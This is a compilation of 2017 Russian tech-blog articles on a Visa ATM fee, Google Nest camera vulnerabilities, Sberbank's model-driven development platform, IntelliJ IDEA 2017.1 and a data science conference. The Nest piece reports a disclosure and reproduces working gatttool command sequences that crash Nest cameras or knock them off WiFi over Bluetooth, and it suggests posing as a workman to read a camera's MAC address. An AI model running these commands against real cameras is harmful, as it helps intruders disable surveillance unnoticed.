Visa разрешила банкам брать дополнительную комиссию с клиента за снятие наличных в «чужих» банкоматах

Международная платежная система Visa разрешила банкам брать комиссию с клиента за снятие наличных в «чужих» банкоматах. Новая комиссия с клиента появится в дополнение к уже существующей и составит 0.45% + 3 рубля. Возможно комиссия будет понижена до 0.25%.
До этого комиссию с клиента за снятие наличных с карты могли брать только выпустившие их банки. После чего они самостоятельно рассчитывались с банком, в чьем банкомате их клиент снял деньги.

Что же теперь делать несчастным владельцам карт ТинькоффБанк и подобных, у которых нет своих банкоматов? Видимо снимать наличные без процентов теперь не получится, что вызывает множество проблем.

Многие банки в последнее время сокращали банкоматные сети, поскольку это был невыгодный бизнес, однако в связи с решением Visa содержание собственной банкоматной сети стало вновь актуальным. В том числе и Олег Тиньков рассказал о том, что они собираются устанавливать сеть своих банкоматов в крупных городах. Правда не понятно, что делать людям в городах поменьше — платить комиссию или менять банк?

Сам пользуюсь этим банком и переживаю чем же обернется эта ситуация и как теперь снимать наличные деньги.
ссылка на оригинал статьи https://habrahabr.ru/post/324634/

Навороченные камеры наблюдения Google Nest легко отключаются по Bluetooth


Искусственный интеллект для обнаружения людей Google AI камеры наружного видеонаблюдения Nest Outdoor Cam не спасает от лёгкого взлома

Самая высокотехнологическая защита — не всегда самая лучшая. Добавляя сложности в систему, вы добавляете новые векторы атак. Бывает, что угонщикам легче угнать самые дорогие и современные автомобили с радиоключами, чем старые кондовые «железяки». Примерно то же самое с безопасностью в других сферах.

Очередной жертвой взломщиков стали навороченные камеры наблюдения Google Nest — модели Dropcam, Dropcam Pro, Nest Cam Outdoor и Nest Cam. Код для их взлома уже опубликован на GitHub, а патчи компания Google пока не выпустила. Можете попрактиковаться в отключении камер наблюдения прямо сегодня (своих, конечно же).

Опубликована информация о трёх уязвимостях, все они предусматривают подключение к камере по Bluetooth 4.0 LE (по спецификациям, радиус действия около 100 м). В этих камерах Bluetooth всегда работает, то есть его вообще невозможно отключить даже владельцу.

Первая уязвимость — переполнение буфера с помощью параметра SSID по Bluetooth. Чтобы вызвать переполнение буфера, нужно попытаться установить на камеру новый параметр SSID с некорректными характеристиками.

Вот пример подключения к камере и установки SSID длиной 1 и 16 байт одновременно.

anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I
[18:B4:30:5D:00:B8][LE]> connect
Attempting to connect to 18:B4:30:5D:00:B8
Connection successful
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a031201AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3b
Characteristic value was written successfully
Characteristic value was written successfully
[18:B4:30:5D:00:B8][LE]>
(gatttool:20352): GLib-WARNING **: Invalid file descriptor.

В результате камера выключится, перезагрузится после ошибки и вернётся в нормальное рабочее состояние.

Вторая уязвимость похожа на первую, только здесь переполнение буфера вызывается отправкой пароля неправильной длины (в данном случае три байта и один байт). Результат такой же — камера перезагружается после ошибки с возвращением в рабочее состояние.

anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I
[18:B4:30:5D:00:B8][LE]> connect
Attempting to connect to 18:B4:30:5D:00:B8
Connection successful
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a03120b506574536d6172742d356e1a01AAAAAA
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3b
Characteristic value was written successfully
Characteristic value was written successfully
[18:B4:30:5D:00:B8][LE]>
(gatttool:20352): GLib-WARNING **: Invalid file descriptor.

Третья уязвимость интереснее. Она позволяет временно отключить камеру от WiFi-сети, передав ей новый SSID для соединения. В этих камерах локальная видеозапись недоступна, так что камера всё передаёт по WiFi — весь архив хранится в облачном сервисе. Соответственно, на время отключения от сети видеосъёмка сохраняться не будет. Чтобы вернуться в строй после такого хака и возобновить видеозапись камере требуется примерно 60-90 секунд. В принципе, это не такой уж большой интервал, но ведь хак можно зациклить на необходимый промежуток времени.

anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I
[18:B4:30:5D:00:B8][LE]> connect
Attempting to connect to 18:B4:30:5D:00:B8
Connection successful
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a03120b0a6574536d6172742d356e1a20232320
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3becb824ba437c13233ac2ff78b1776456e47a01
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3ca5787d2f5e53f394a512200228003210bc9253
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3d48cada7a0d921d57b2d26ae89c3a04DEADBEEF
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3e
Characteristic value was written successfully
Characteristic value was written successfully
Characteristic value was written successfully
Characteristic value was written successfully
Characteristic value was written successfully
[18:B4:30:5D:00:B8][LE]>

Обратим внимание, что во всех примерах для подключения к камере нужно знать её MAC-адрес (18:B4:30:5D:00:B8). Он просто написан на корпусе камеры, так что на практике для взлома придётся сначала приблизиться к камере на достаточно близкое расстояние. Например, под видом газонокосильщика, мастера ремонтных работ или друга будущей жертвы.


На одной из фотографий Nest Outdoor Cam видно, что MAC-адрес написан на корпусе камеры (строчка над QR-кодом). Разработчики предусмотрительно спрятали его за кабелем питания

Три уязвимости в камерах присутствуют в последней прошивке камер (5.2.1). Специалист по безопасности Джейсон Дойл (Jason Doyle) нашёл их ещё прошлой осенью. Он говорит, что сообщил в Google 26 октября 2016 года, так что теперь вроде как пришёл срок раскрытия для всех желающих. Это стандартная практика, если производитель не торопится или не успевает исправить баги в разумный срок. В данном случае прошло почти пять месяцев.

Google обычно выплачивает исследователям вознаграждения за нахождение уязвимостей в своих продуктах. На видеокамеры Nest программа Google Vulnerability Reward тоже распространяется. Правда, Nest входит в третью самую непрестижную категорию, где максимальная награда составляет всего $5000 (для остальных продуктов — $31 337). К тому же, в этой третьей категории стоит специальная пометка о шестимесячном периоде тишины. Хотя сама Google недавно раскрыла активно эксплуатируемые 0day в Windows и Edge через 90 дней (1, 2).

Джейсон Дойл не выдержал шестимесячный период (26 октября − 17 марта), так что на награду претендовать уже не сможет. В отличие от обычной практики, Google не уведомила исследователя о примерных сроках закрытия уязвимости и не поддерживала с ним переписку. В то же время знакомый с ситуацией источник сообщил The Register, что патч уже почти готов, так что Джейсон недотерпел до своей награды совсем немного.

Кстати, некоторые другие аналогичные видеокамеры наблюдения отключают Bluetooth, когда установлено соединение по WiFi, так что их таким образом взломать не получится (например, Logitech Circle). Компания Google тоже могла бы пойти на эту простую уловку, чтобы избавиться от уязвимостей такого типа.
ссылка на оригинал статьи https://geektimes.ru/post/287208/

Про биологию, мега-стройки и магических животных


&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp

Фронт-офисная биология

Задача: есть Банк с огромной линейкой банковских продуктов и сервисов по каждому из продуктов (подробнее на http://www.sberbank.ru). Необходимо автоматизировать все фронтальные сценарии по каждому из продуктов, по каждому из каналов для разных групп клиентов (да, да – разные категории клиентов могут иметь разные сценарии обслуживания по одному каналу).
Пока звучит скучно и непонятно. Однако те, кому приходилось автоматизировать финансовый сектор, могут прикинуть количество фронтальных сценариев к автоматизации и необходимое количество функциональных элементов. Простые инженерные оценки дадут приблизительно следующие показатели:

  • Количество сценариев (фронтальных процессов): ~ 103
  • Количество визуальных форм в сценариях: ~104
  • Количество печатных форм в сценариях: ~2 ᵡ 103

Уже лучше. У нас есть какая-то фактура, но пока это какая-то замершая экосистема без динамики и без эволюции.

Однако,

  • те, от кого зависит общее количество продуктов и сценариев их обслуживания, раз в квартал согласуют новый план по продажам и выпускают новые продукты и акции, требующие замены старых сценариев и селекции дополнительных «гибридных» сценариев в рамках кросс-продаж. За год весь старый функционал может быть заменен на новый.
  • те, от кого зависит дизайн визуальных форм периодически склонны радикально менять или дизайн, или принципы наполнения форм, то предполагая замену всей популяции сценариев, форм, сопутствующего функционала, то требуя ее увеличения на порядок до ~105

ЦБ РФ, как метеорит, убивший динозавров, может аффектить всех, требуя своими новыми положениями пересмотр и ревизию всего функционала целиком.
Но есть еще и факторы, благоприятно сказывающиеся на росте количества функционала:

  • Ожидания бизнеса по возможности выстраивания сегмента-ориентированных или персонифицированных процессов обслуживания, что является удачной почвой для роста количества вариантов сценариев обслуживания до ~ 104
  • Естественно, все сценарии нужно тестировать на эффективность либо lending page, либо удобство рабочего места оператора, что если опять не плодит кол-во самих сценариев, то увеличивает популяцию визуальных форм до ~105-∞
  • Есть и длительные тренды внутривидовой борьбы. Например, удаленное обслуживание вытесняет офисное, и фронтальный функционал по удаленным каналам растет сам по себе. При этом офис не сдается – пытается получить часть «генофонда удаленки» и создать новые сценарии омниканального (Omni channel) обслуживания — ~105-∞

Похоже, что фронтальный функционал склонен размножаться и эволюционировать как бактерии в питательной среде и любое внешнее влияние, кроме морального устаревания канала обслуживания, только загибает рост экспоненты. Бочкой Петри для фронт-офисного функционала Сбербанка должна стать Единая Фронтальная Система или сокращенно ЕФС.

Не вавилонская система

Естественно, автоматизацию такого масштаба на одной коленке не построить и не поддержать последующие изменения. Решение, выводящее общее количество коленок строителей на горизонтальную асимптоту, не столь очевидно. Кроме того, что кирпичей много и их нужно очень быстро складывать, нужно еще уметь заменять перекрытия нижних этажей, не обрушив верхние.
Поскольку вычислительная сложность целевого решения низкая и функционал в основном раскладывается на типовой, как кирпичи лего, высокую скорость стройки даст RAD.

Сам по себе RAD доступен практически во всех фронтальных отраслевых решениях. Однако он строится вокруг конфигурационного ядра либо слабо гранулированной архитектуры, что не позволяет нам решить вышеуказанную задачу с перекрытиями. Естественно с конфигурационным ядром так нельзя, извлечение или замена любой несущей конструкции приведет к обрушению, перестройки всего прикладного функционала вместе с обязательным регрессом.

Кроме того, конфигурационное ядро не позволяет нам удовлетворить ожидания экспоненциального роста количества функционала, о котором говорили ранее. RAD – это обычно быстрее для типового функционала, но RAD не позволяет «порождать» новый приклад на основе уже существующего.

Решение пришло со стороны MDD (Model Driven Development). Это только на первый взгляд «предметно-ориентированный язык» — это что-то абстрактное и заумное. Нам же никто не мешает создать «предметно-ориентированный язык» самих конфигураций при том, конфигураций разных этажей башни: архитектуры, функционала, самой банковской области могут трансформироваться друг в друга и в конце концов в исполняемый код. Мы положились на следующие преимущества MDD:

  • Конечный исполняемый код можно всегда переопределить или дописать функционал, не трогая алгоритмы трансформации и получить важное частное решение
  • Сами алгоритмы трансформации можно заменять и расширять, не меняя уже сгенерированный код. Как мы говорили выше, целевой срок его жизни не большой
  • И самое главное. Уже готовый прикладной функционал это всего лишь один из видов модели и только потом конечный код. А значит для него можно придумать алгоритм, который перегонит его по необходимости в другую модель при замене архитектуры, требований ЦБ, необходимости автоматизации A/B-тестов, порождению специализированных сценариев обслуживания по каналам и сегментам потребителей.

Так мы дошли до понимания как делать башню, которая в какой-то момент должна начать строить саму себя.

Магический зверь и где он обитает

Собственно, именно этот магический зверь обитает у нас на кнопке запуска процесса генерации.  Как это выглядит рабочее место пользователя, представлено на скриншотах ниже.


АРМ Архитектора


АРМ Системного аналитика


АРМ Системного аналитика

Да, мы посадили наших системных аналитиков за Eclipse + Papyrus. Общая модель конфигураций пока построена на базе зарендеренного дерева UML-объектов и позволяет сейчас конфигурировать: общую декомпозицию требований, артефакты конфигураций процессов, визуальных форм, точек интеграции, сущностей, их атрибутов справочников и кучу системных объектов самой платформы ЕФС. Чуть позже здесь будет и JasperReport-редактор.

Общая целевая модель генерации приведена на схеме ниже. Первый пока отсутствующий уровень — это уровень конструкторов предметной области. Объекты модели предметной области трансформируются в объекты функциональной модели. Например, в планах реализация конструктора заявки на банковский продукт, включая статусную модель. Последняя будет иметь свою волшебную кнопку и порождать на уровне функциональной модели прототип процесса, для работы с заявкой.


Общая модель генерации кода

Второй уровень, это собственно уровень модели функциональных элементов. Он позволяет уже породить первый полезный артефакт для IT-проекта – полную спецификацию функциональных элементов.

Следующий этап генерации, это генерация компонентной модели. Как видно на первом скриншоте, модель выглядит достаточно скучно: просто оранжевые и белые квадратики. Это компоненты (в нашей терминологии – прикладные модули), которые на следующем этапе трансформируются в конечный код. Внутри каждого модуля обозначены ключевые классы с соответствующей ролью – типовым паттерном взаимодействия. Все это в конце концов и превращается в исполняемый код.

Естественно, при нажатии магической кнопки с единорогом на уровне функциональной модели весь конвейер трансформаций проходит за раз. Но наличие такой пошаговой генерации позволяет нам:

  • Наконец добавить слой бизнес-конструкторов независимо от организации функционального слоя и компонентной архитектуры
  • Расширять состав функциональных элементов и добавлять канало-специфичные функциональные элементы
  • Управлять компонентной архитектурой независимо от функционала
  • Ограничить сложность кода трансформации группы связанных конфигурационных элементов одного уровня в другой группу другого элемента объемом в 1K-2K строк кода.
  • Решать задачи детально, но не глобально. Например, задачи трансформации VO->DTO->VO очень часто имеет частное решение объемом «да ладно, за эти выходные точно запилю».
  • Иметь на каждом слое немножечко избыточное кол-во конфигураций, чтобы автоматизировать порождение частных случаев конфигураций и «автоматизировать автоматизацию автоматизации». Например, для канального фронтального сценария порождение множества его вариация для A/B-тестирования может быть выполнено автоматически.  Ну и маппинг, маппинг, маппинг.
  • Как уже говорили в предыдущих двух разделах, последний пункт особенно важен. Он то и позволит 104 визуальных форм превращать в 105 для задач автоматизации A/B-тестов или вывода сценария в новый канал. При этом трудозатраты не увеличиваются и в 2 раза.

Важным элементом функциональной модели является огромное количество валидаций, так как для пользователей, не являющихся профессиональными разработчиками, причина, по которой код не компилируется, или выскакивает NPE, будет тайной. По аналогичным причинам в систему добавлен стандартный для таких решений функционал пошаговой отладки процессов фронтальных сценариев.

Любой конечный код должен иметь возможность быть исправлен и доработан вручную. Исправления такого рода, особенно если вопрос касается необходимости добавления небольшой фичи или исправления багов во время функционального/интеграционного тестирования часто проходят мимо других участников – не отражаются в спецификации или, как в нашем случае, в модели.

Для обеспечения полноты конфигураций мы разработали функционал, автоматизирующий реверс-инжиниринг (Reverse engineering). Мы строим Java Model выделенного блока функционала, соответствующего отдельному прикладному модулю (оранжевый квадратик на первом скриншоте) и пытаемся распознать паттерны кода, сравнивая их с тем что есть в компонентной модели. Пока эта магия более-менее успешно работает для прикладных сущностей, публичного API, ключевых системных объектов.

На этом пока все. А чтобы разобраться детальнее с внутренней механикой инструмента, требований к нему и архитектурой, в следующей статье мы поговорим о том, что общего у электриков и архитекторов из IT.
ссылка на оригинал статьи https://habrahabr.ru/post/324626/

Обзор IntelliJ IDEA 2017.1: Java 9, Kotlin 1.1, Spring, Gradle, JavaScript, Go и многое другое

Привет Хабр!

Спешу поделиться хорошей новостью. Работа над IntelliJ IDEA 2017.1 закончена, и новую версию IDE можно наконец скачать и попробовать. В этом обновлении исправлены многие важные баги а также появились улучшения для многих поддерживаемых языков, фреймворков и встроенных инструментов. Ниже краткий обзор наиболее важных изменений.

Java 9: полностью поддерживаются последние билды JDK 9, работает помощь при импорте проекта и подсказки при редактировании деклараций модулей. Встроенные инспекции позволяют валидировать декларации модулей и корректировать зависимости проекта с помощью quick-fixes.

Java 8: улучшены quick-fixes для переноса циклов for в вызовы Stream API — теперь поддерживаются более сложные случаи. Также добавлен quick-fix, превращающий вызовы Stream API обратно в циклы for, что удобно для отладки или изучения кода.

Отладчик с поддержкой асинхронного кода: появились stacktraces для асинхронного кода — данные из места вызова асинхронного кода подставляются в stracktrace, связанный с исполнением этого кода. Это позволяет сосредоточиться на отлаживаемом коде. Улучшенная команда Smart Step Into теперь также поддерживает асинхронный код и лямбда-выражения, выполняемые в других потоках.

Улучшена поддержка VCS: на панель Log для Git и Mercurial добавлены новые параметры отображения, в диалоговом окне Diff появился параметр Ignore imports and formatting, а функция File History для Git теперь работает быстрее. Также в окно Branches для Git добавлены избранные ветки и speed search

Поиск: диалоговое окно Find in Path, в которое ранее уже была добавлена вкладка Preview, полностью переделано — теперь сразу отображаются мгновенные результаты. Что еще важнее, простым нажатием клавиши Enter любой выбранный результат теперь можно открыть в редакторе.

Spring: обновление Spring Testing принесло поддержку Spring Boot 1.4.3 и будущей версии Spring 5.0. Инструменты Spring Data обновлены до версии 2.0 (в т. ч. MongoDB, Redis, Solr, KeyValue, Gemfire, Apache Cassandra, REST, Neo4j, Couchbase и Elasticsearch). В окне инструмента Spring появилась новая вкладка Data с удобной навигацией по репозиториям.

Gradle: поддержка Composite Builds усовершенствована — теперь IDE автоматически находит includeBuild в конфигурации Gradle и соответственно настраивает проект.

Kotlin 1.1: среди прочего в новой версии этого языка для JVM появились courtutines — новый неблокирующий асинхронный API. Также полностью поддерживается компиляция в JavaScript. Это значит, что строки, коллекции, последовательности, массивы и другие стандартные API можно использовать в приложениях на JavaScript.

Scala: новый Scala плагин предлагает обновленный и более удобный Project Wizard, много улучшений поддержки SBT, дополнительные подсказки для Akka, и новый REPL режим в Worksheet.

JavaScript: реализована первоклассная поддержка Vue.js, множество новых настроек Code Style для JavaScript и TypeScript, более быстрые и надежные интеграции с Angular, ESLint и TSLint (в т. ч. поддержка языковых сервисов и quick-fixes, использующих TSLint). Кроме того, редактировать зависимости проекта в package.json стало проще благодаря автодополнению имен и версий пакетов, тесты Mocha и Jest стало удобнее запускать, а на иконке Run в гаттере теперь отображается состояние теста.

Инструменты для баз данных: IntelliJ IDEA теперь позволяет переносить схемы таблиц и данные между любыми базами данных (да, даже из MySQL в Microsoft SQL Server и обратно).

Эмодзи: редактор теперь поддерживает символы Unicode для эмодзи (например, в комментариях).

Android Studio 2.2.2: в новую версию включены все изменения из Android Studio 2.2.2.

Docker: плагин Docker теперь поддерживает Docker for Mac и работает через «unix://».

Windows: 64-разрядный установщик для Windows позволяет выделить IntelliJ IDEA больше оперативной памяти.

Go: Gogland, новая Go IDE анонсированная несколько месяцев ранее стала также плагином для IntelliJ IDEA Ultimate.

Подробнее об IntelliJ IDEA 2017.1 можно узнать на странице What’s New.

P.S. Также вам может быть интересно попробовать приложение Toolbox App — с его помощью удобно устанавливать и обновлять IDE и открывать проекты. Toolbox App позволяет быть в курсе последних релизов и, если что-то пойдет не так, откатить установку до стабильной версии.

Как всегда, буду рад ответить на ваши вопросы. Баг-репорты можно отправлять через баг-трекер.

Программируйте с удовольствием!
ссылка на оригинал статьи https://habrahabr.ru/post/324578/

Обзор Data Science Weekend

Всем привет! 3-4 марта состоялся Data Science Weekend, который организовывала вот уже третий раз наша компания при поддержке GVA. Для тех, кто не был на мероприятии, мы подготовили краткий обзор того, что происходило.

image

Мероприятие состояло из двух тематических дней. Первый день был посвящен искусственному интеллекту и deep learning, второй — вопросам практики и бизнеса в больших данных.

В первый день было запланировано 5 выступлений, однако случился форс-мажор: заболел первый спикер и не смог выступить у нас. Тем не менее, нам удалось подготовить интересный интерактив со слушателями и немного их разогреть для следующих спикеров.

1. Интерактив был в духе “Правда это или вымысел, что…”. И дальше следовала какая-то формулировка про достижение искусственного интеллекта. Например, “Правда ли, что ИИ научился генерировать фотореалистичные картинки, используя только лишь запрос пользователя?”. Сценарий использования такой: “Дай мне картинку вулкана”. И дальше нейронная сеть выдает несколько классных картинок.
Таких вопросов было в районе 17. И с большинством наши участники справились без проблем. Как оказалось, публика пришла достаточно подготовленная.

2. После этого интерактива выступал CEO компании Intento, Константин Савенков. Доклад был посвящен проблеме интеграции различных сервисов в текущем мире. У каждого сервиса есть свой API, но довольно сложно обратиться от одного к другому. Для решения этой проблемы Intento подготовила свой продукт, позволяющий разным сервисам быть интегрированными друг с другом. По словам Константина, в данный момент они концентрируются на API сервисов в области искусственного интеллекта — машинный перевод, распознавание картинок, перевод текста в голос и т.д.

3. Следующий спикером был Анатолий Востряков — руководитель направления (!) диалоговых систем и умных помощников в компании Segmento. Анатолий значительное внимание уделил проблемам, которые существуют с чат-ботами в области поддержки клиентов. Людям свойственно по ходу диалога менять свою цель, задавать вопросы нелинейно, ссылаться на предыдущую историю решения того или иного вопроса, формулировать один и тот же запрос сотней разных способов и др. С этими проблемами классические подходы построения чат-ботов не всегда способны справляться. В конце выступления был предложен другой подход на основе нейронных сетей, так называемый end-to-end, когда разработчик не прописывает жесткие правила, а позволяет сети самой извлекать знания из имеющихся данных.

4. Далее было выступление Александра Сербула из компании 1С-Битрикс. Александр был верен себе и рассказывал о своем опыте обучения нейронных сетей в своей яркой и эмоциональной манере. В 1С-Битрикс существует функционал “Открытые линии”, который позволяет общаться с клиентами в разных соцсетях и каналах из одного своего окна. В какой-то момент стало понятно, что люди часто обращаются с одними и теми же вопросами, и пришла идея сделать бота, который бы подсказывал варианты ответа на них. Об этом опыте и был рассказ Александра.

5. Последним выступлением в этот день был телемост из Сан-Франциско с Николаем Давыдовым, инвестором 2016 года по версии РБК. Prisma стал приложением года в апсторе, и MSQRD был продан Фейсбуку. Это те проекты, к которым имел отношение Николай. Его выступление было сфокусировано на бизнесе в этой сфере. Он рассказал, что то, что происходит сейчас, действительно революция, и через несколько лет искусственный интеллект будет использоваться во многих отраслях. В то же время Николая посетовал, что на текущий момент большинство проектов идут в развлекательную и потребительскую тематику. В связи с этим был дан совет — идти и пробовать внедрять проекты в индустриях. Николай привел несколько примеров из сферы сельского хозяйства, медицины, генетики и др. Также он отметил, что одинаково сложно научить человека как из предметной области алгоритмам ИИ, так и человека, знающего эти алгоритмы, обучить премудростям предметной области, поэтому выход один — создавать команды из специалистов разных областей и грамотно ими управлять.

image

Во второй день мероприятия было запланировано 8 выступлений.

1. Первыми выступали ребята из проекта OSA Hybrid Platform. Целью этого проекта является повышение показателя присутствия того или иного товара на полке. Для этого они прогнозируют такие вещи, как: 1. Ожидаемое увеличение спроса на товар (в связи с погодой, например); 2. Вероятность отсутствия в настоящий момент товара на полке (например, в реальном времени по чекам); 3. В дальнейшем планируется разработка системы распознавания товаров при помощи камеры.

2. Вторыми выступали коллеги из компании “МегаФон”, официального партнера мероприятия. Андрей Уваров, руководитель по аналитическим сервисам, рассказал, как МегаФон добивается ощутимого бизнес-эффекта применяя технологии аналитики больших данных, машинного обучения и искусственного интеллекта. Продолжая тему первого дня конференции — чатботов, коллеги познакомили участников с Еленой – виртуальным помощником. Эта технология распознавания голосовых команд, которая даже не соединяя клиента с оператором call-центра сама переводит звонящего в нужный пункт меню и дает подсказки, как воспользоваться любой услугой оператора. Александр Башмаков, директор по инфраструктуре, рассказал о применении технологии анализа данных для «умного» планирования развития сети МегаФона. Завершилось выступление обзором системы автоматического мониторинга и управления сетью, которая была впервые продемонстрирована для всех желающих в интерактивной зоне “МегаФона”.

3. Следующим выступал data scientist компании E-Contenta, Юрий Макаров. Он рассказал о том, как проводил классификацию текстов на данных из поисковой выдачи, перепробовав множество алгоритмов, включая нейронные сети. Победил алгоритм random forest, с использованием одной хитрой фичи, оказавшись еще и быстрее, чем сети. Затем компания использует обученный классификатор для создания персональных рекомендаций контента.

4. Последнее выступление перед обедом было от Артема Пичугина, руководителя образовательных программ, связанных с данными, New Professions Lab. Он рассказал о том, почему стоит учиться data science, как правильно это делать, и коротко о программах, набор на которые в настоящий момент идет. Отвечая на вопрос “Почему?”, Артем рассказал о текущих трендах и о том, что hype-кривая — это не единственная кривая, на которую стоит обращать внимание, а есть, например, кривая распространения инноваций на рынке. На вопрос “Как?” он рассказал о том, что взрослые и дети учатся по-разному, поэтому и учить их тоже стоит по-разному, после чего привел несколько примеров использования андрагогики (науки об обучении взрослых) в своих программах.

5. После обеда первым выступающим был Евгений Гапон, директор по аналитике компании Qlean. Он рассказал о том, как выглядит машинное обучение в их компании, пройдясь по всем этапам процесса: от сбора данных до внедрения модели. Особое внимание Евгений уделил кейсу прогнозирования отказа клиента от уборки. Внезапные отказы от уборки наносят ущерб бизнесу, поэтому задача раннего прогнозирования этого события является насущной. Прогноз позволяет предотвращать это событие через гибкую бонусную систему: чем выше вероятность отмены заказа у клиента, тем выше будет показываться бонус за сохранение заказа.

6. Следующим спикером программы был Артем Просветов, data scientist компании CleverDATA. Тема выступления звучала интригующе: “Text mining of Beauty Blogs: О чем говорят женщины?” Артем продемонстрировал процесс выявления наиболее влиятельных бьюти-блогеров для целей продвижение продукта из сферы косметики. После выявления наиболее влиятельных блогеров (кстати, интересным фактом было то, что наиболее популярные блогеры пишут посты, которые окрашены позитивно, то есть блогер хвалит тот или иной продукт), был проведен анализ того, о каких продуктах обычно пишут те или иные блогеры. Итогом анализа является рекомендация типа: крем против морщин лучше продвигать через блогера А, а масло — через блогера Б.

7. Предпоследним спикером программы была Светлана Крылова, руководитель аналитического центра Brand Analytics. Она рассказала про похожую историю — их проект был связан с анализом того, что люди пишут в соцсетях по поводу аллергии. Как результат анализа — стало понятно, что в рекламе образ человека, страдающего от аллергии отличается от реальности. В рекламе — это девушка, заботящаяся о своей внешности, а в реальности — это мамы детей, страдающих от аллергии. Также из этого анализа стало понятно, почему самым популярным средством от аллергии является Супрастин, хотя это антигистаминный препарат ранних поколений, а на текущий момент есть более продвинутые средства с меньшими побочными эффектами.

8. Завершал программу Андрей Кармацкий, CEO компании Urbica. Доклад был посвящен дизайну городов с использованием данных. В презентации было очень много красивых визуализаций, глаз зрителя радовался. Наиболее интересным кейсом, о котором поведал Андрей, был проект по реорганизации маршрутов общественного транспорта в Москве. Команда проекта провела анализ того, как существует на текущий момент транспортная система Москвы, построив симуляционную модель. После этого была предложена оптимизация маршрутов, которая была апробирована на практике и показала рост пассажиропотока, а также уменьшение времени ожидания автобусов и троллейбусов.

Хотим выразить благодарность всем, кто выступал на нашем мероприятии, а также всех тех, кто был в качестве зрителей эти два дня. Вы создали прекрасную и живую атмосферу в зале, было очень здорово!

Следующее мероприятие, полноценный Data Science Week, состоится 7, 8, 11 и 12 сентября.

Будем ждать вас!

» Все презентации выложены здесь.

» Доступ к видео выступлений можно получить здесь.
ссылка на оригинал статьи https://habrahabr.ru/post/324622/